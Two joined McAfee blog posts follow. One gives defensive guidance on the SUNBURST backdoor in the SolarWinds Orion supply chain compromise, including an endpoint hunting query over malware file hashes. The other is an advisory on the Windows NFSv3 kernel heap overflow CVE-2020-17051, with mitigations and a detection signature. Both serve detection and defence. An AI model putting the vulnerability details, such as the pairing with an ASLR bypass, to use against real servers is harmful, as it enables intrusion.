In a blog post released 13 Dec 2020, FireEye disclosed that threat actors compromised SolarWinds’s Orion IT monitoring and management software with a trojanized version of SolarWinds.Orion.Core.BusinessLayer.dll. The trojanized file delivers the SUNBURST malware through a backdoor as part of a digitally-signed Windows Installer Patch. Use of a Compromised Software Supply Chain (T1195.002) as an Initial Access technique is particularly critical as it can go undetected for a long period. FireEye released countermeasures that can identify the SUNBURST malware.
If you are using SolarWinds software, please refer to the company’s guidance here to check for vulnerable versions and patch information. McAfee has evaluated the published countermeasures and will continue to analyze further attack indicators. It’s important to note that this was a very sophisticated attack and customers are advised to assess their overall security architecture capability to either prevent, detect or respond to an APT threat. This attack reminds us that in today’s digital enterprise the supply chain includes many diverse elements including but not limited to critical equipment and hardware, cloud software and infrastructure as a service provider and critical IT software. Customers are advised to assess both intellectual property protection and supply chain integrity strategies. Part one of this blog series details initial McAfee defensive guidance and response actions. Part two will describe additional mitigation and solution recommendations.
For the latest information on McAfee see KB93861and subscribe to receive updates. Below is protection summary to date for the known backdoor indicators
McAfee Labs will continue analysis for any known indicators associated with this attack and update product protection accordingly. Furthermore, analysis is underway to analyse the behavioural components of the campaign and ensure product efficacy considers protection beyond static measures such as signatures.
MVISION Insights is tracking the campaign as SolarWinds Supply Chain Attack Affecting Multiple Global Victims with SUNBURST Backdoor. Customers can view the public version of MVISION Insights for the latest attack details, prevalence, techniques used and indicators of compromise.
Insights provides the indicators used by SUNBURST. The indicators will continue to update based on automated collection and human analysis. You can use the indicators to hunt on your network. Note: This will be updated as new indicators are verified.
Insights outlines the MITRE Att&ck techniques used by SUNBURST. You can use MITRE Att&ck framework to asses defensive capability across your security architecture.
One of the first initial response actions should be to hunt for known indicators of the attack. You can use MVISION EDR or MAR to search endpoints for SUNBURST backdoor indicators as provided by Microsoft and FireEye. See the search syntax below. If you are licensed for MVISION Insights this query will take place automatically. Additional defensive guidance will be published in an upcoming blog.
Begin MVEDR Query Syntax…
Files name, full_name, md5, sha256, created_at, create_user_name, create_user_domain and HostInfo hostname, ip_address, os and LoggedInUsers username, userdomain where Files sha256 equals “ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c” or Files sha256 equals “c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77” or Files sha256 equals “eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed” or Files sha256 equals “dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b” or Files sha256 equals “32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600” or Files sha256 equals “53f8dfc65169ccda021b72a62e0c22a4db7c4077f002fa742717d41b3c40f2c7” or Files sha256 equals “019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134” or Files sha256 equals “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6” or Files sha256 equals “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “292327e5c94afa352cc5a02ca273df543f2020d0e76368ff96c84f4e90778712” or Files sha256 equals “c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71”
…End MVEDR Query Syntax
You should also search McAfee Web Gateway logs (or other network and SIEM logs) for communication to command and control domains or IP addresses, particularly those categorized as “Malicious Sites” below. Continue to check MVISION Insights for new domains and URLs.
It’s important to note that ongoing analysis will be critical to understand how the attackers will adapt and what additional mitigation is required. This will be a continuous process and we expect to add multiple updates to KB93861. Additionally, customers should follow McAfee Labs posts, check Insights Public Dashboard for latest threat intelligence, and continually check the Knowledge Center for latest product guidance. Part two of this blog will cover defensive capabilities and controls in more depth.
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The post SUNBURST Malware and SolarWinds Supply Chain Compromise appeared first on McAfee Blogs.
Microsoft released a patch today for a critical vulnerability (CVE-2020-17051) in the Windows NFSv3 (Network File System) server. NFS is typically used in heterogenous environments of Windows and Unix/Linux for file sharing. The vulnerability can be reproduced to cause an immediate BSOD (Blue Screen of Death) within the nfssvr.sys driver. Interestingly, the November patches from Microsoft also include a remote kernel data read vulnerability in the same nfssvr.sys driver (CVE-2020-17056), which leads to a potential ASLR (address space layout randomization) bypass. The combination of these two vulnerabilities dramatically increases the likelihood of a remote exploit when used on Windows Server to bypass exploit mitigations. CVE-2020-17051 is the first known vulnerability which has been disclosed within the Windows implementation of the NFSv3 protocol to the best of our knowledge.
The vulnerability is believed to impact all versions of Windows Server when:
A Shodan query reported 38,893 servers with port 2049 exposed to the internet; however, it is unknown what percentage of these servers are actually NFS shares and actually configured with anonymous write access. The network share discovery technique is typically used by an adversary within the discovery phase of the MITRE ATT&CK framework with the objective to gain further privileges. CVE-2020-17051 would give adversaries the ability to spread worm–like within heterogenous Windows and Unix/Linux environments using anonymous write access file shares over NFSv3.
Patching is always the first and most effective course of action. If it’s not possible to patch, the best mitigation is to limit Windows NFSv3 server share write access internally and block any external access to vulnerable servers. For those McAfee customers who are unable to deploy the Windows patch, the following Network Security Platform (NSP) signatures will provide a virtual patch against attempted exploitation of this vulnerability.
NSP Attack ID: 0x40c01200 – NFS Microsoft Windows Network File System Remote Code Execution Vulnerability (CVE-2020-17051)
The post CVE-2020-17051: Remote kernel heap overflow in NFSv3 Windows Server appeared first on McAfee Blogs.
